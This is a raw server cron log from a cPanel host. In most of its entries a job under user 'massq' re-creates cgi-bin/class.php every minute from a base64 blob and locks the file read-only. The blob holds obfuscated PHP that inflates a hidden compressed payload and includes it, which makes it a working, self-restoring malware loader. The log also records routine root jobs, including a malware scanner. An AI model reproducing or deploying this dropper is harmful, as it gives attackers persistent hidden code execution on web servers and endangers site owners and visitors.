Nov 15 18:43:01 server CROND[6352]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:44:01 server CROND[6617]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:45:01 server CROND[6886]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:45:01 server CROND[6887]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:45:01 server CROND[6888]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:46:01 server CROND[7196]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:47:01 server CROND[7501]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:48:01 server CROND[7851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:49:01 server CROND[8116]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:50:01 server CROND[8383]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 18:50:01 server CROND[8385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:50:01 server CROND[8387]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:50:01 server CROND[8388]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:50:01 server CROND[8386]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 18:51:01 server CROND[8800]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:52:01 server CROND[9133]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:53:01 server CROND[9397]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:54:01 server CROND[9746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:55:01 server CROND[10014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:55:01 server CROND[10015]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:55:01 server CROND[10016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
